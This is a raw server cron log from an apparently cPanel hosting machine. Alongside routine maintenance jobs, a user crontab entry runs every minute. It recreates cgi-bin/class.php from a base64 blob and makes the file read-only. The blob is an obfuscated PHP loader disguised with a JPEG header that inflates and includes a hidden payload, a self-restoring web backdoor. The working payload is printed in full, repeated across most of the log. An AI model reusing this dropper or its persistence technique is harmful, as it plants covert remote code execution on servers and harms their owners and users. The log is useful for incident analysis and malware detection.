Sep  9 07:14:01 server CROND[21792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:14:01 server CROND[21793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:14:01 server CROND[21794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:15:01 server CROND[22261]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:15:01 server CROND[22263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:15:01 server CROND[22271]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:15:01 server CROND[22269]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:15:01 server CROND[22272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:15:01 server CROND[22270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:15:01 server CROND[22273]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 07:15:01 server CROND[22275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:16:01 server CROND[23356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:16:01 server CROND[23355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:16:01 server CROND[23357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:17:01 server CROND[23725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:17:01 server CROND[23726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:17:01 server CROND[23727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:18:01 server CROND[24094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:18:01 server CROND[24095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:18:01 server CROND[24096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:19:01 server CROND[24512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:19:01 server CROND[24513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:19:01 server CROND[24514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:20:01 server CROND[24892]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:20:01 server CROND[24893]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:20:01 server CROND[24895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:20:01 server CROND[24908]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 07:20:01 server CROND[24897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:20:01 server CROND[24909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:20:01 server CROND[24910]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:20:01 server CROND[24914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:20:01 server CROND[24907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:21:01 server CROND[25970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:21:01 server CROND[25971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:21:01 server CROND[25969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:22:01 server CROND[26423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:22:01 server CROND[26424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:22:01 server CROND[26425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:23:01 server CROND[26801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:23:01 server CROND[26802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:23:01 server CROND[26803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:24:01 server CROND[27176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:24:01 server CROND[27177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:24:01 server CROND[27178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:25:01 server CROND[27556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:25:01 server CROND[27558]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:25:01 server CROND[27560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:25:01 server CROND[27570]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:25:01 server CROND[27569]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:25:01 server CROND[27577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:25:01 server CROND[27571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
